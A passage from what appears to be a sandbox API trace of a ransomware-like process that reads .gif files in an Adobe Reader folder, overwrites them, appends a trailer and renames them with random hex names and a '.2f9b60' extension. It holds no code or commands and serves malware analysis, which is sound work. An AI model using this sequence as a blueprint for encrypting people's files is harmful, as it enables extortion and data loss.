Flags=0x8, Size=0x20) returned 0x1ced7620 [0236.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7620) returned 1 [0236.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058bf0) returned 1 [0236.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7d7fc0 [0236.209] sprintf (in: _Dest=0x1b7d7fc0, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fc2, _Format="%c%c" | out: _Dest="03") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fc4, _Format="%c%c" | out: _Dest="d2") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fc6, _Format="%c%c" | out: _Dest="fe") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fc8, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fca, _Format="%c%c" | out: _Dest="23") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fcc, _Format="%c%c" | out: _Dest="a3") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fce, _Format="%c%c" | out: _Dest="9a") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fd0, _Format="%c%c" | out: _Dest="d1") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fd2, _Format="%c%c" | out: _Dest="08") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fd4, _Format="%c%c" | out: _Dest="79") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fd6, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fd8, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fda, _Format="%c%c" | out: _Dest="2e") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fdc, _Format="%c%c" | out: _Dest="31") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fde, _Format="%c%c" | out: _Dest="b6") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fe0, _Format="%c%c" | out: _Dest="6b") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fe2, _Format="%c%c" | out: _Dest="41") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fe4, _Format="%c%c" | out: _Dest="17") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fe6, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fe8, _Format="%c%c" | out: _Dest="9c") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fea, _Format="%c%c" | out: _Dest="16") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fec, _Format="%c%c" | out: _Dest="6c") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7fee, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7ff0, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.209] sprintf (in: _Dest=0x1b7d7ff2, _Format="%c%c" | out: _Dest="8b") returned 2 [0236.209] RtlInitAnsiString (in: DestinationString=0x381ef728, SourceString="fc03d2fe4d23a39ad10879a5fc2e31b66b4117a49c166ca5ed8b" | out: DestinationString="fc03d2fe4d23a39ad10879a5fc2e31b66b4117a49c166ca5ed8b") [0236.209] RtlAnsiStringToUnicodeString (in: DestinationString=0x381ef6f8, SourceString="fc03d2fe4d23a39ad10879a5fc2e31b66b4117a49c166ca5ed8b", AllocateDestinationString=1 | out: DestinationString="fc03d2fe4d23a39ad10879a5fc2e31b66b4117a49c166ca5ed8b") returned 0x0 [0236.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8699c0 [0236.210] wcscat (in: _Dest=0x431f6350, _Source="fc03d2fe4d23a" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\fc03d2fe4d23a") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\fc03d2fe4d23a" [0236.210] wcscat (in: _Dest=0x431f6350, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\fc03d2fe4d23a.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\fc03d2fe4d23a.2f9b60" [0236.210] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\fc03d2fe4d23a.2f9b60", NtPathName=0x381ef6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\fc03d2fe4d23a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x430e2d20 [0243.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e2d20) returned 1 [0243.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f6720) returned 1 [0243.602] NtQueryInformationFile (in: FileHandle=0x1ca0, IoStatusBlock=0x381ef738, FileInformation=0x381ef748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x381ef738, FileInformation=0x381ef748) returned 0x0 [0243.602] NtSetInformationFile (FileHandle=0x1ca0, IoStatusBlock=0x381ef738, FileInformation=0x381ef748, Length=0x28, FileInformationClass=0x4) Thread: id = 3901 os_tid = 0x1138 [0229.973] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif")) returned 0x20 [0230.878] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif", dwFileAttributes=0x20) returned 1 [0231.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ca8 [0231.233] GetFileSizeEx (in: hFile=0x1ca8, lpFileSize=0x36fcfa80 | out: lpFileSize=0x36fcfa80*=1360) returned 1 [0231.233] SetFilePointerEx (in: hFile=0x1ca8, liDistanceToMove=0x54c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.233] ReadFile (in: hFile=0x1ca8, lpBuffer=0x36fcfa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36fcfa48, lpOverlapped=0x0 | out: lpBuffer=0x36fcfa00*, lpNumberOfBytesRead=0x36fcfa48*=0x4, lpOverlapped=0x0) returned 1 [0231.246] SetFilePointerEx (in: hFile=0x1ca8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0231.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0231.246] NtQuerySystemTime (in: CurrentTime=0x36fcf940 | out: CurrentTime=0x36fcf940*=132462178352398000) returned 0x0 [0231.246] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x2db66695 [0231.246] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x281b8e99 [0231.246] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x67101556 [0231.246] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x72731e5d [0231.246] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x4c372360 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x5f47b99c [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x5233c280 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0xa9eda2c [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x2b64c20c [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x11985b5b [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x5f47b99c [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x3de63cf9 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x39c07c35 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x56583d46 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x145b175b [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x31a2b05f [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x5a9b4589 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x4924f9f [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x7983e65b [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x21cd5247 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x44d3a354 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x2db66695 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x179d37a2 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x5ad9d903 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x147f983b [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x13329029 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0xe951ddb [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x241f82f9 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x7bff2375 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x339fe092 [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x715c824b [0231.247] RtlRandomEx (in: Seed=0x36fcf930 | out: Seed=0x36fcf930) returned 0x409cd2b3 [0231.254] ReadFile (in: hFile=0x1ca8, lpBuffer=0x203a8130, nNumberOfBytesToRead=0x550, lpNumberOfBytesRead=0x36fcf930, lpOverlapped=0x0 | out: lpBuffer=0x203a8130*, lpNumberOfBytesRead=0x36fcf930*=0x550, lpOverlapped=0x0) returned 1 [0231.254] SetFilePointerEx (in: hFile=0x1ca8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.254] WriteFile (in: hFile=0x1ca8, lpBuffer=0x203918d0*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x36fcf934, lpOverlapped=0x0 | out: lpBuffer=0x203918d0*, lpNumberOfBytesWritten=0x36fcf934*=0x550, lpOverlapped=0x0) returned 1 [0234.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e20 [0234.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d10 [0234.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6d10) returned 1 [0234.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203918d0) returned 1 [0234.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a8130) returned 1 [0234.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb960) returned 1 [0234.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d80) returned 1 [0234.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d69c0 [0234.102] SetFilePointerEx (in: hFile=0x1ca8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.102] WriteFile (in: hFile=0x1ca8, lpBuffer=0x431f0f00*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x36fcfa50, lpOverlapped=0x0 | out: lpBuffer=0x431f0f00*, lpNumberOfBytesWritten=0x36fcfa50*=0x118, lpOverlapped=0x0) returned 1 [0236.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058bf0 [0236.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0236.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0236.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fb80 [0236.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0236.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0236.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fee0) returned 1 [0236.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058bf0) returned 1 [0236.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b858cd0 [0236.219] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.219] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="1c") returned 2 [0236.219] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="1a") returned 2 [0236.219] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.219] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="66") returned 2 [0236.219] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="0e") returned 2 [0236.219] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="dd") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="24") returned 2 [0236.220] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.220] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="85") returned 2 [0236.220] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="99") returned 2 [0236.220] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.220] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="a8") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="46") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="42") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="31") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="12") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="5a") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="69") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="93") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="dd") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="23") returned 2 [0236.220] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="0a") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="85") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="85") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="82") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="58") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="bf") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="42") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="0f") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="49") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="4e") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="65") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="71") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d18, _Format="%c%c" | out: _Dest="47") returned 2 [0236.220] sprintf (in: _Dest=0x1b858d1a, _Format="%c%c" | out: _Dest="c8") returned 2 [0236.220] RtlInitAnsiString (in: DestinationString=0x36fcfac8, SourceString="7d1c1a4a660edd249e8599e2a846d94231125a6993dd230a859e858258bf420f494e657147c8" | out: DestinationString="7d1c1a4a660edd249e8599e2a846d94231125a6993dd230a859e858258bf420f494e657147c8") [0236.220] RtlAnsiStringToUnicodeString (in: DestinationString=0x36fcfa98, SourceString="7d1c1a4a660edd249e8599e2a846d94231125a6993dd230a859e858258bf420f494e657147c8", AllocateDestinationString=1 | out: DestinationString="7d1c1a4a660edd249e8599e2a846d94231125a6993dd230a859e858258bf420f494e657147c8") returned 0x0 [0236.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431f64b0 [0236.221] wcscat (in: _Dest=0x431f6400, _Source="7d1c1a4a660edd249e8" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7d1c1a4a660edd249e8") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7d1c1a4a660edd249e8" [0236.221] wcscat (in: _Dest=0x431f6400, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7d1c1a4a660edd249e8.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7d1c1a4a660edd249e8.2f9b60" [0236.221] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7d1c1a4a660edd249e8.2f9b60", NtPathName=0x36fcfa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7d1c1a4a660edd249e8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x430fe7f0 [0243.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fe7f0) returned 1 [0243.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f78a0) returned 1 [0243.604] NtQueryInformationFile (in: FileHandle=0x1ca8, IoStatusBlock=0x36fcfad8, FileInformation=0x36fcfae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36fcfad8, FileInformation=0x36fcfae8) returned 0x0 [0243.604] NtSetInformationFile (FileHandle=0x1ca8, IoStatusBlock=0x36fcfad8, FileInformation=0x36fcfae8, Length=0x28, FileInformationClass=0x4) Thread: id = 3902 os_tid = 0x14b8 [0229.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif")) returned 0x20 [0230.887] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif", dwFileAttributes=0x20) returned 1 [0231.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3380 [0231.056] GetFileSizeEx (in: hFile=0x3380, lpFileSize=0x3954f840 | out: lpFileSize=0x3954f840*=807) returned 1 [0231.056] SetFilePointerEx (in: hFile=0x3380, liDistanceToMove=0x323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.056] ReadFile (in: hFile=0x3380, lpBuffer=0x3954f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3954f808, lpOverlapped=0x0 | out: lpBuffer=0x3954f7c0*, lpNumberOfBytesRead=0x3954f808*=0x4, lpOverlapped=0x0) returned 1 [0231.092] SetFilePointerEx (in: hFile=0x3380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861170 [0231.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610e0 [0231.093] NtQuerySystemTime (in: CurrentTime=0x3954f700 | out: CurrentTime=0x3954f700*=132462178350838000) returned 0x0 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x50f28065 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x7adc3afe [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0xf556c96 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x218d3edf [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x20009cdf [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x21331e34 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x66ffbe65 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x406a06c5 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x2d6a8e64 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x23d14708 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x159289fc [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x35317375 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x188a421b [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x1e47a1e7 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x865836c [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x24ee89a8 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x33678ab9 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x7323f95b [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x7db82344 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x72ea5ae5 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x6778774d [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x21f156 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x39879c4b [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x6190d15f [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x5fa6faca [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x17337c1b [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x7421c711 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x6b859b99 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x56875e1e [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x52962496 [0231.093] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x399cb64b [0231.094] RtlRandomEx (in: Seed=0x3954f6f0 | out: Seed=0x3954f6f0) returned 0x33880654 [0231.100] ReadFile (in: hFile=0x3380, lpBuffer=0x420dd570, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x3954f6f0, lpOverlapped=0x0 | out: lpBuffer=0x420dd570*, lpNumberOfBytesRead=0x3954f6f0*=0x327, lpOverlapped=0x0) returned 1 [0231.100] SetFilePointerEx (in: hFile=0x3380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.100] WriteFile (in: hFile=0x3380, lpBuffer=0x420d2140*, nNumberOfBytesToWrite=0x327, lpNumberOfBytesWritten=0x3954f6f4, lpOverlapped=0x0 | out: lpBuffer=0x420d2140*, lpNumberOfBytesWritten=0x3954f6f4*=0x327, lpOverlapped=0x0) returned 1 [0239.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c010 [0239.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c040 [0239.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c040) returned 1 [0239.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d2140) returned 1 [0239.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420dd570) returned 1 [0239.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0239.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0239.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x420586f0 [0239.278] SetFilePointerEx (in: hFile=0x3380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.278] WriteFile (in: hFile=0x3380, lpBuffer=0x42c20b40*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3954f810, lpOverlapped=0x0 | out: lpBuffer=0x42c20b40*, lpNumberOfBytesWritten=0x3954f810*=0x122, lpOverlapped=0x0) returned 1 [0242.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ba0 [0242.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0242.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0242.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431ada60 [0242.162] 